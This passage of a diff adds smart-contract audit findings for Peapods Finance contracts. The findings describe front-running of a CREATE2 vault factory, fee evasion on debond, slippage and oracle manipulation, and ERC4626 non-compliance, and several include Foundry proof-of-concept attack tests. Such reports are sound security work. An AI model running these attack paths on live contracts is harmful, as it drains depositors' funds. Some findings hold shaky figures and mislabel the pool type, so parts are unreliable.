+ assertEq(attackerBalance, amountETH, "Attacker should have stolen ETH");
+ assertEq(address(target).balance, 0, "Target should have 0 ETH remaining");
+ }
+}
+```
+
+
+
+### Mitigation
+
+1. Validate Recipient Address: Ensure the recipient address is validated or restricted.
+2. Use `msg.sender`: Send WETH to `msg.sender` instead of an arbitrary address.
+3. Add Access Control: Restrict the function to authorized users or roles.
\ No newline at end of file
diff --git a/017.md b/017.md
new file mode 100644
index 0000000..2bbcd05
--- /dev/null
+++ b/017.md
@@ -0,0 +1,337 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Incorrect implementation in fraxlend pair violating standard causes DOS
+
+### Summary
+
+The incorrect implementation of `previewWithdraw` in `FraxlendPair.sol` will cause transactions to fail when there is insufficient liquidity, as users will be unable to properly simulate withdrawals since the function doesn't properly check available liquidity before calculating shares, violating the [ERC4626 standard](https://eips.ethereum.org/EIPS/eip-4626#:~:text=MUST%20return%20as%20close%20to%20and%20no%20fewer%20than%20the%20exact%20amount%20of%20Vault%20shares%20that%20would%20be%20burned%20in%20a%20withdraw%20call%20in%20the%20same%20transaction.%20I.e.%20withdraw%20should%20return%20the%20same%20or%20fewer%20shares%20as%20previewWithdraw%20if%20called%20in%20the%20same%20transaction.).
+Also, in `maxWithdraw/maxRedeem` users will be unable to determine their maximum withdrawable amount when all assets are borrowed, when the vault is not fully utilized, the output amount will be incorrect, violating the ERC4626 standard.
+
+
+### Root Cause
+
+According to the [ERC4626 standard](https://eips.ethereum.org/EIPS/eip-4626#:~:text=Allows%20an%20on%2Dchain%20or%20off%2Dchain%20user%20to%20simulate%20the%20effects%20of%20their%20withdrawal%20at%20the%20current%20block%2C%20given%20current%20on%2Dchain%20conditions.), the preview withdraw and redeem.
+
+`FraxlendPair.sol`, the [previewRedeem](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L777-L780) and [previewWithdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L813C14-L813C29) functions simply converts assets to shares using total asset calculation without checking available liquidity, it expected to [allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block, given current on-chain conditions](https://eips.ethereum.org/EIPS/eip-4626#:~:text=Allows%20an%20on%2Dchain%20or%20off%2Dchain%20user%20to%20simulate%20the%20effects%20of%20their%20withdrawal%20at%20the%20current%20block%2C%20given%20current%20on%2Dchain%20conditions) so when an exterternal protocol or user tries to. get the onchain preview based on the current block, and redeem/withdraw at same time, the transaction will fail
+```solidity
+ function previewWithdraw(uint256 _amount) external view returns (uint256 _sharesToBurn) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _sharesToBurn = _totalAsset.toShares(_amount, true);
+ }
+
+ function previewRedeem(uint256 _shares) external view returns (uint256 _assets) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _assets = _totalAsset.toAmount(_shares, false);
+ }
+```
+Similarly in LendingAssetVault, the previewWithdraw and redeem simulates all the accrued interest in the whitelisted vaults without the considerations of available assets, so the expected returns will be assets + interest.
+- The standard expects that transaction [MAY revert due to other conditions that would also cause withdraw to revert](https://eips.ethereum.org/EIPS/eip-4626#:~:text=MUST%20NOT%20revert%20due%20to%20vault%20specific%20user/global%20limits.%20MAY%20revert%20due%20to%20other%20conditions%20that%20would%20also%20cause%20withdraw%20to%20revert.)
+This causes previewRedeem and previewWithdraw to return correct shares/amount when all assets are borrowed, which violates the ERC4626 standard.
+- Simulation of actual withdrawal effects
+- Return value that would actually work in a real withdraw call
+- Must not revert due to insufficient liquidity
+And `maxWithdraw/maxRedeem`, According to the [ERC4626 standard](https://eips.ethereum.org/EIPS/eip-4626#:~:text=type%3A%20uint256-,maxWithdraw,-Maximum%20amount%20of), the max withdraw and redeem are expected to factor in the following:
+- Maximum amount of the underlying asset that can be withdrawn from the owner balance in the Vault, through a withdraw call.
+- MUST return the maximum amount of assets that could be transferred from owner through withdraw and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary).
+
+Also, in the case of [maxWithdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPair.sol#L259) and [maxRedeem](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPair.sol#L270) functions incorrectly calculate available assets by subtracting borrowed amounts which is not dependent on the total assets and interest acrued.
+```solidity
+ function maxWithdraw(address _owner) external view returns (uint256 _maxAssets) {
+ if (isWithdrawPaused) return 0;
+ (,, uint256 _feesShare,, VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow) =
+ previewAddInterest();
+ // Get the owner balance and include the fees share if owner is this contract
+ uint256 _ownerBalance = _owner == address(this) ? balanceOf(_owner) + _feesShare : balanceOf(_owner);
+
+ // Return the lower of total assets in contract or total assets available to _owner
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(_totalAsset, _totalBorrow, true);
+ uint256 _totalUserWithdraw = _totalAsset.toAmount(_ownerBalance, false);
+ _maxAssets = _totalAssetsAvailable < _totalUserWithdraw ? _totalAssetsAvailable : _totalUserWithdraw;
+ }
+
+ function maxRedeem(address _owner) external view returns (uint256 _maxShares) {
+ if (isWithdrawPaused) return 0;
+ (,, uint256 _feesShare,, VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow) =
+ previewAddInterest();
+
+ // Calculate the total shares available
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(_totalAsset, _totalBorrow, true);
+ uint256 _totalSharesAvailable = _totalAsset.toShares(_totalAssetsAvailable, false);
+
+ // Get the owner balance and include the fees share if owner is this contract
+ uint256 _ownerBalance = _owner == address(this) ? balanceOf(_owner) + _feesShare : balanceOf(_owner);
+ _maxShares = _totalSharesAvailable < _ownerBalance ? _totalSharesAvailable : _ownerBalance;
+ }
+```
+The point when this is expected to return 0 is when the vault is paused
+- [MUST factor in both global and user-specific limits, like if withdrawals are entirely disabled (even temporarily) it MUST return 0](https://eips.ethereum.org/EIPS/eip-4626#:~:text=MUST%20factor%20in%20both%20global%20and%20user%2Dspecific%20limits%2C%20like%20if%20withdrawals%20are%20entirely%20disabled%20(even%20temporarily)%20it%20MUST%20return%200.)
+This causes maxWithdraw and maxRedeem to return 0 when all assets are borrowed, and returns incorrect value when not all the allocation are been borrowed, which violates the ERC4626 standard.
+
+So the issue is that:
+**Current:** Calculates based on available liquidity (subtracting borrowed amounts)
+**Should be**: Calculate theoretical maximum based on user's share ownership, regardless of current liquidity
+
+### Impact
+
+The vault depositors cannot properly simulate withdrawals when there is insufficient liquidity, leading to:
+- DOS
+- Inability to properly integrate with other protocols expecting ERC4626 compliance
+- Violation of ERC4626 standard requirements
+- Inability to properly integrate with other protocols expecting ERC4626 compliance
+
+### PoC
+
+[Here is the foundry setup for the frax lending pair contract](https://gist.github.com/g-ods/be865f3fb911a4c6f1796524005e763d)
+
+
+Or Click to view
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.19;
+
+// forge
+import {Test, console} from "forge-std/Test.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "../src/contracts/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "../src/contracts/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "../src/contracts/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "../src/contracts/FraxlendPair.sol";
+import {VariableInterestRate} from "../src/contracts/VariableInterestRate.sol";
+import {IERC4626Extended} from "../src/contracts/interfaces/IERC4626Extended.sol";
+import {ChainlinkSinglePriceOracle} from "../src/contracts/ChainlinkSinglePriceOracle.sol";
+import "../src/contracts/mocks/LendingAssetVault.sol";
+
+// mocks
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "../src/contracts/mocks/MockERC20.sol";
+
+contract Fraxlend is Test {
+ /*///////////////////////////////////////////////////////////////
+ GLOBAL VARIABLES
+ ///////////////////////////////////////////////////////////////*/
+
+ // external actors
+ address internal user0 = vm.addr(uint256(keccak256("User0")));
+ address internal user1 = vm.addr(uint256(keccak256("User1")));
+ address internal user2 = vm.addr(uint256(keccak256("User2")));
+
+ address[] internal users = [user0, user1, user2];
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ MockERC20 internal _mockDai;
+ MockERC20 internal _collateral;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ LendingAssetVault internal _lendingAssetVault;
+
+ event Message(string message);
+
+ /*///////////////////////////////////////////////////////////////
+ SETUP FUNCTIONS
+ ///////////////////////////////////////////////////////////////*/
+
+ function setUp() public {
+ // deploy mock tokens
+ _mockDai = new MockERC20("MockDai", "MDAI");
+ _collateral = new MockERC20("Collateral", "COL");
+ _tokenB = new MockERC20("TokenB", "TKB");
+ _tokenC = new MockERC20("TokenC", "TKC");
+
+ _mockDai.mint(address(this), 1000000 ether);
+ _collateral.mint(address(this), 1000000 ether);
+ _tokenB.mint(address(this), 1000000e6);
+ _tokenC.mint(address(this), 1000000 ether);
+
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _setupActors();
+
+ _deployLendingVault();
+
+
+ vm.startPrank(address(2));
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ vm.stopPrank();
+
+ }
+
+ function _deployVariableInterestRate() internal {
+ // These values taken from existing Fraxlend Variable Rate Contract
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(address(this), address(1), address(2), address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ emit Message("1");
+ }
+
+ function _deployFraxPairs() internal {
+ // moving time to help out the twap
+ vm.warp(block.timestamp + 1 days);
+
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+
+ emit Message("1aa");
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ address(_mockDai), // asset
+ address(_collateral), // collateral
+ address(_clOracle), //oracle
+ 5000, // 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+
+ emit Message("1b");
+
+ // deposit some asset
+ IERC20(address(_mockDai)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+ _fraxLPToken1Peas.deposit(100000 ether, address(this));
+ }
+
+ function _deployLendingVault() internal {
+ _lendingAssetVault = new LendingAssetVault("LDA", "FLDA", address(_mockDai));
+
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _maxAllocations = new uint256[](1);
+ _maxAllocations[0] = 100000 ether;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _maxAllocations);
+
+
+ vm.startPrank(users[0]);
+ IERC20(address(_mockDai)).approve(address(_lendingAssetVault), type(uint256).max);
+ _lendingAssetVault.deposit(100000 ether, users[0]);
+ }
+
+ /*////////////////////////////////////////////////////////////////
+ HELPERS
+ ////////////////////////////////////////////////////////////////*/
+
+ function _setupActors() internal {
+ for (uint256 i; i < users.length; i++) {
+ vm.deal(users[i], 1000000 ether);
+ vm.startPrank(users[i]);
+ // _weth.deposit{value: 1000000 ether}();
+
+ _collateral.mint(users[i], 1000000 ether);
+ _tokenB.mint(users[i], 1000000e6);
+ _tokenC.mint(users[i], 1000000 ether);
+ _mockDai.mint(users[i], 1000000 ether);
+ IERC20(address(_collateral)).approve(address(_fraxLPToken1Peas), type(uint256).max);
+ }
+ }
+
+}
+```
+
+
+
+```solidity
+ function testPreviewWithdrawInsufficientLiquidity() public {
+ vm.startPrank(users[1]);
+ _fraxLPToken1Peas.borrowAsset(100_000 ether, 100000 ether, users[1]);
+
+ vm.startPrank(users[2]);
+ _fraxLPToken1Peas.borrowAsset(99_000 ether, 100000 ether, users[1]);
+
+ // Try to preview withdraw more than available
+ uint256 shares = _fraxLPToken1Peas.previewRedeem(_fraxLPToken1Peas.balanceOf(address(this)));
+ assert(shares > 0);
+
+ // This will revert despite successful preview
+ vm.expectRevert();
+ _fraxLPToken1Peas.redeem(shares, address(this), address(this));
+ }
+```
+
+```solidity
+function testMaxWithdrawalZeroOutput() public {
+ // deposit some collateral for user 1
+ vm.startPrank(users[1]);
+ _fraxLPToken1Peas.borrowAsset(100000 ether, 100000 ether, users[1]);
+
+ vm.startPrank(users[2]);
+ _fraxLPToken1Peas.borrowAsset(100000 ether, 100000 ether, users[1]);
+
+ vm.startPrank(address(this));
+
+ uint256 lendingAssetVaultToAssetAmount = _lendingAssetVault.totalAvailableAssetsForVault(address(_fraxLPToken1Peas));
+ assertEq(lendingAssetVaultToAssetAmount, 0);
+ uint256 maxWithdraw = _fraxLPToken1Peas.maxWithdraw(address(this));
+ assertEq(maxWithdraw, 0); // Incorrectly returns 0 when all assets are borrowed
+}
+```
+
+### Mitigation
+Since the team intention is to simulate ERC4626, which is an attempt to comply with the standards, consider following the standard.
\ No newline at end of file
diff --git a/018.md b/018.md
new file mode 100644
index 0000000..3bf6c48
--- /dev/null
+++ b/018.md
@@ -0,0 +1,77 @@
+Hidden Fossilized Dragonfly
+
+High
+
+# create() is vulnerable to front running
+
+### Summary
+
+The create function allows users to create vaults with specific parameters
+```solidity
+function create(string memory _name, string memory _symbol, address _asset, uint96 _salt)
+ external
+ returns (address _vault)
+ {
+```
+These values are visible on the mempool and could be front-run by malicious actors.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVaultFactory.sol#L20
+
+The vulnerability arises due to the predictable nature of the salt parameter `_salt` used in the CREATE2 address computation. Since `_salt` is directly supplied by the caller and the function does not rely or use any dynamic, unpredictable factors (e.g., `block.timestamp`, or `msg.sender` an attacker can front run transactions to `create()` with exact parameters and higher gas fees ultimately now in control of the vault.
+
+```solidity
+function _getFullSalt(uint96 _salt) internal view returns (uint256) {
+ return uint256(uint160(address(this))) + _salt;
+ }
+```
+
+
+### Attack Path
+
+1. Alice wants to deploy a vault using parameters `Doge` `dog` `0xAddressOfDogeToken` `234678889`
+2. Attacker sees Alice's transaction on the mempool
+3. Attacker sends a transaction with the exact same parameters (`Doge` `dog` `0xAddressOfDogeToken` `234678889`)
+4. Attacker now owns vault address
+
+### Impact
+
+Front running transactions to `create` can lead to various security risks
+
+- `Funds Loss` – If users expect a vault at a known address, the attacker could deploy a malicious vault with `selfdestruct` functionality , call `selfdestruct()` replace deployed vault with malicious code which can be used to drain user funds.
+- `Stealing Alice’s Vault Name & Symbol` – The attacker can deploy a vault with the same branding(name and symbol), misleading users.
+- `DOS: Locking Out Legitimate Users` – If Alice intended to launch a vault at a specific CREATE2 address, she is now locked out of that address.
+
+
+### PoC
+
+```solidity
+ function testcreateFrontRunning() public {
+ address attacker = address(0x2);
+ string memory VAULT_NAME = "Doge Vault"; //Alice wants to create Doge Vault.
+ string memory VAULT_SYMBOL = "DOGE";
+ uint96 SALT = 6;
+
+ asset.transfer(attacker, 10000 * 10 ** 18);
+
+ address expectedVault = factory.getNewCaFromParams(VAULT_NAME, VAULT_SYMBOL, address(asset), SALT);
+
+ // Attacker front-runs the deployment
+ vm.startPrank(attacker);
+ asset.approve(address(factory), 1000);
+ address attackerVault = factory.create(VAULT_NAME, VAULT_SYMBOL, address(asset), SALT);
+ vm.stopPrank();
+
+ vm.startPrank(user);
+ vm.expectRevert(); //user can no longer create vault due to collision error.
+ factory.create(VAULT_NAME, VAULT_SYMBOL, address(asset), SALT);
+ vm.stopPrank();
+ assert(attackerVault == expectedVault );
+
+ }
+```
+
+### Mitigation
+
+Update `_getFullSalt()` to use a dynamic factors during computation of `_salt` such as `block.timestamp` or `msg.sender`
\ No newline at end of file
diff --git a/019.md b/019.md
new file mode 100644
index 0000000..f566e51
--- /dev/null
+++ b/019.md
@@ -0,0 +1,75 @@
+Short Currant Chipmunk
+
+High
+
+# User can evade _fees.debond
+
+### Summary
+
+A user having >=99% holding of pTKNs can evade debond Fee.
+
+### Root Cause
+
+In WeightedIndex::debond [L-176](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L176) the check for whether the user is the _Last One Out_ ,the function [_isLastOut](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L281-L283) contains a bug. It allows anybody having >=99% of _totalSupply holding debond without any fee.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+Alice is an arbitrageur gleaning profits by big amount of wrapping and unwrapping TKNs. While market volatility unwrapping(debonding(pTKN==>TKN)) becomes profitable and everyone tends to unwrap. Since Alice has got a very large holding, she waits a bit and notices her holding is ~99% of the _totalSupply , and debonds her holding without giving any fees even after lots of person have still got holdings. **(This Protocol allows only the last person to debond without fee.)**
+
+### Impact
+
+The protocol suffers a large amount of fees(~1% of debond amount) (since the user debonds very large amount).
+
+### PoC
+
+```solidity
+ function test_debondMultipleUsers() public {
+ console.log("Initial Peas Balance of alice: ", peas.balanceOf(alice));
+ vm.startPrank(alice);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+ //initial setup for 99 users
+ for (uint256 i = 0; i < 99; i++) {
+ address user = address(uint160(4 + i));
+ deal(address(peas), user, bondAmt / 500);
+ vm.startPrank(user);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ vm.startPrank(user);
+ pod.bond(address(peas), bondAmt / 10000, 0);
+ vm.stopPrank();
+ }
+
+ uint256 aliceInitialBalance = pod.balanceOf(alice);
+
+ console.log("Before debond Balance of alice : ", aliceInitialBalance);
+ console.log("Total Supply: ", pod.totalSupply());
+
+ vm.startPrank(alice);
+ address[] memory _n1;
+ uint8[] memory _n2;
+ pod.debond(aliceInitialBalance, _n1, _n2);
+ vm.stopPrank();
+
+ console.log("Final Balance of alice : ", peas.balanceOf(alice));
+ }
+```
+```solidity
+Logs:
+ Initial Peas Balance of alice: 100000000000000000000
+ Before debond Balance of alice : 1000000000000000000
+ Total Supply: 1009899999999999901
+ Final Balance of alice : 99999999999999999999(1 loss due to rounding error)
+```
+
+### Mitigation
+
+Users can be listed through a mapping, every time an user debonds should be out from the list. And only the last person will be given the debond fee Free benefit.
\ No newline at end of file
diff --git a/020.md b/020.md
new file mode 100644
index 0000000..2a96560
--- /dev/null
+++ b/020.md
@@ -0,0 +1,66 @@
+Curly Eggplant Bee
+
+High
+
+# Front-Running Due to Static Slippage Tolerance
+
+### Summary
+
+The static slippage tolerance calculation in `addLiquidityV2` will cause financial loss for liquidity providers as MEV bots or attacker will front-run transactions to manipulate token prices and exploit slippage.
+
+### Root Cause
+
+In addLiquidityV2 ([code link](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L353)), the slippage calculation `(_pTKNLPTokens * (1000 - _slippage)) / 1000` uses a static user-provided value. This allows MEV bots or even attackers to manipulate the token price during the transaction’s pending state.
+
+### Internal Pre-conditions
+
+1. Liquidity providers must set a slippage tolerance (_slippage) that allows exploitable price ranges (example >1%).
+2. The protocol’s paired LP token (e.g., IDX/ETH) must have sufficient liquidity for price manipulation to be profitable.
+
+### External Pre-conditions
+
+MEV bots or an attackers must monitor the mempool for pending `addLPAndStake` transactions.
+
+### Attack Path
+
+1. User calls `addLPAndStake` with `_slippage = 100` (10% tolerance).
+
+2. MEV bot or an attacker detects the transaction in the mempool and front-runs it by buying the paired LP token (e.g., IDX), inflating its price.
+
+3. User’s transaction executes at the manipulated price, resulting in fewer LP tokens minted than expected.
+
+4. MEV bot sells the token back at the inflated price, profiting from the price difference.
+
+### Impact
+
+1. Liquidity providers suffer an approximate loss of X% (based on slippage exploited).
+2. MEV bots or attackers gain the arbitrage profit extracted from the manipulated price.
+
+### PoC
+
+Alice wants to add liquidity to the index fund with 100 IDX tokens and 1 ETH (current price: 1 ETH = 100 IDX).
+
+She calls addLPAndStake with _slippage = 100 (10% tolerance), allowing the transaction to execute even if the price moves by up to 10%.
+
+
+Bob detects Alice’s transaction in the mempool.
+
+He front-runs it by buying 50 IDX tokens on the DEX, pushing the price to 1 ETH = 90 IDX (a 10% price increase).
+
+
+Alice’s liquidity is added at the manipulated rate: 1 ETH = 90 IDX (within her 10% slippage tolerance).
+
+She receives LP tokens based on the inflated price, effectively getting 10% fewer LP tokens than expected.
+
+Bob’s Profit:
+
+Bob sells the 50 IDX tokens back at the inflated price, netting a profit of ~5.55 ETH (arbitrage from the price difference).
+
+
+Alice loses 10% of her expected LP tokens due to price manipulation.
+
+Bob extracts value from Alice’s transaction, incentivizing further attacks.
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/021.md b/021.md
new file mode 100644
index 0000000..834eecf
--- /dev/null
+++ b/021.md
@@ -0,0 +1,68 @@
+Curly Eggplant Bee
+
+Medium
+
+# `deadline` not implemented in `addLPAndStake()`
+
+### Summary
+
+The missing deadline check in addLPAndStake will cause gas waste and fund lockup for users as network congestion will allow transactions to execute after the deadline expires.
+
+### Root Cause
+
+In `addLPAndStake` ([code link](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L51-L102)), the `_deadline` parameter is not validated before token transfers and _zap operations. This allows transactions to proceed with expired deadlines, wasting gas and locking funds.
+
+### Internal Pre-conditions
+
+Users must submit transactions with a _deadline that could expire before mining
+
+
+### External Pre-conditions
+
+Ethereum network congestion causes delayed transaction mining (e.g., during peak usage or MEV activity).
+
+### Attack Path
+
+1. User submits addLPAndStake with `_deadline = block.timestamp + 10 minutes`.
+2. Network congestion delays transaction mining by 15 minutes.
+3. Token transfers and _zap operations execute, but addLiquidityV2 reverts due to an expired deadline.
+4. User’s tokens are locked in the contract until manually refunded.
+
+### Impact
+
+1. Users suffer gas waste (500k gas ≈ $50) and temporary loss of access to transferred tokens.
+2. Protocol accumulates dust tokens, complicating accounting and creating potential attack surfaces.
+
+### PoC
+
+Alice’s Action:
+
+Alice calls addLPAndStake with `_deadline = block.timestamp + 10 minutes` (valid for 10 minutes).
+
+She sends 100 IDX tokens and 1 ETH to the contract.
+
+Network Congestion:
+
+Due to high gas prices or MEV activity, Alice’s transaction is delayed and mined 15 minutes later (5 minutes after the deadline expires).
+
+Transaction Execution:
+
+The contract transfers Alice’s tokens and executes `_zap` (if needed).
+
+When calling `addLiquidityV2`, the DEX handler checks the deadline and reverts because `block.timestamp > _deadline`.
+
+Aftermath:
+
+Alice’s 100 IDX tokens and 1 ETH are stuck in the contract until she manually calls a refund function.
+
+She loses gas fees (~50–100) for the failed transaction.
+
+Alice’s funds are temporarily locked, and she incurs unnecessary gas costs.
+
+The protocol’s UX suffers, as users lose trust in transaction reliability.
+
+
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/022.md b/022.md
new file mode 100644
index 0000000..4981e28
--- /dev/null
+++ b/022.md
@@ -0,0 +1,47 @@
+Curly Eggplant Bee
+
+Medium
+
+# `deadline` not implemented in `unstakeAndRemoveLP()`
+
+### Summary
+
+The absence of a deadline check in unstakeAndRemoveLP will cause gas waste and fund lockup for users as network congestion can result in transactions executing after the deadline expires.
+
+[similar issue](https://github.com/sherlock-audit/2025-01-peapods-finance-kobbyeugene79/issues/2)
+
+### Root Cause
+
+In [unstakeAndRemoveLP](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L104-L134), there is no validation of the _deadline parameter before initiating token transfers and unstaking operations. The deadline is only enforced in the downstream removeLiquidityV2 call, allowing transactions to proceed even if the deadline has expired.
+
+### Internal Pre-conditions
+
+Users must submit transactions with a `_deadline` that could expire before mining
+
+
+### External Pre-conditions
+
+Ethereum network congestion causes delayed transaction mining
+
+### Attack Path
+
+User calls `unstakeAndRemoveLP` with `_deadline = block.timestamp + 10 minutes`.
+
+Network congestion delays mining by 15 minutes.
+
+Token transfers and unstaking occur, but removeLiquidityV2 reverts due to an expired deadline.
+
+User’s tokens are locked in the contract until manually refunded.
+
+### Impact
+
+1. Users suffer gas waste (500k gas ≈ $50) and temporary loss of access to transferred tokens.
+2. Protocol accumulates dust tokens, complicating accounting and creating potential attack surfaces.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/023.md b/023.md
new file mode 100644
index 0000000..4778441
--- /dev/null
+++ b/023.md
@@ -0,0 +1,197 @@
+Young Foggy Ostrich
+
+High
+
+# Attacker will manipulate oracle prices
+
+### Summary
+
+The prices obtained by the DualOracleChainlinkUniV3.sol price oracle can be manipulated.
+
+### Root Cause
+
+In the DualOracleChainlinkUniV3.sol contract function specifically getPrices() will tend to prioritize the price of the UniswapV3 pair by the oracleDelay
+
+### Internal Pre-conditions
+
+A user who detects that the update time of maxOracleDelay returns in the getPrices function "_isBadData"
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150
+
+### External Pre-conditions
+
+If maxOracleDelay is greater than the parameter created in the getPrices() constructor, it will use the data returned by the UniswapV3 pool as the oracle price.
+
+### Attack Path
+
+1. An attacker monitors the DualOracleChainlinkUniV3.sol contract hoping that the contract will detect that
+
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150
+
+returns _isBadData.
+
+2. Since the contract now prioritizes the price returned by the UniswapV2 Pool quote, it can manipulate the pool to get the price based on the quote that the attacker wants.
+
+This is because of this function
+
+[function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+address[] memory _pools = new address[](1);
+_pools[0] = UNI_V3_PAIR_ADDRESS;
+uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+ uint256 _price2;
+ (_isBadData, _price2) = _getChainlinkPrice();
+
+ // If bad data return price1 for both, else set high to higher price and low to lower price
+ _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2;
+ _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2;
+ }](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150)
+
+3. 3. The attacker makes a deposit of tokens in the FraxlendPairCore.sol contract by calling the following function
+
+[function deposit(uint256 _amount, address _receiver)](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L624-L641)
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L578-L612
+
+4. The attacker makes a swap of the pool where the deposit was made to manipulate the funds so that the price returned by the quote is in his favor.
+
+5. The attacker makes a borrow with many tokens that have the manipulated price
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L903-L928
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L863-L895
+
+### Impact
+
+The FraxlendPair.sol contract may suffer huge losses due to oracle manipulation.
+
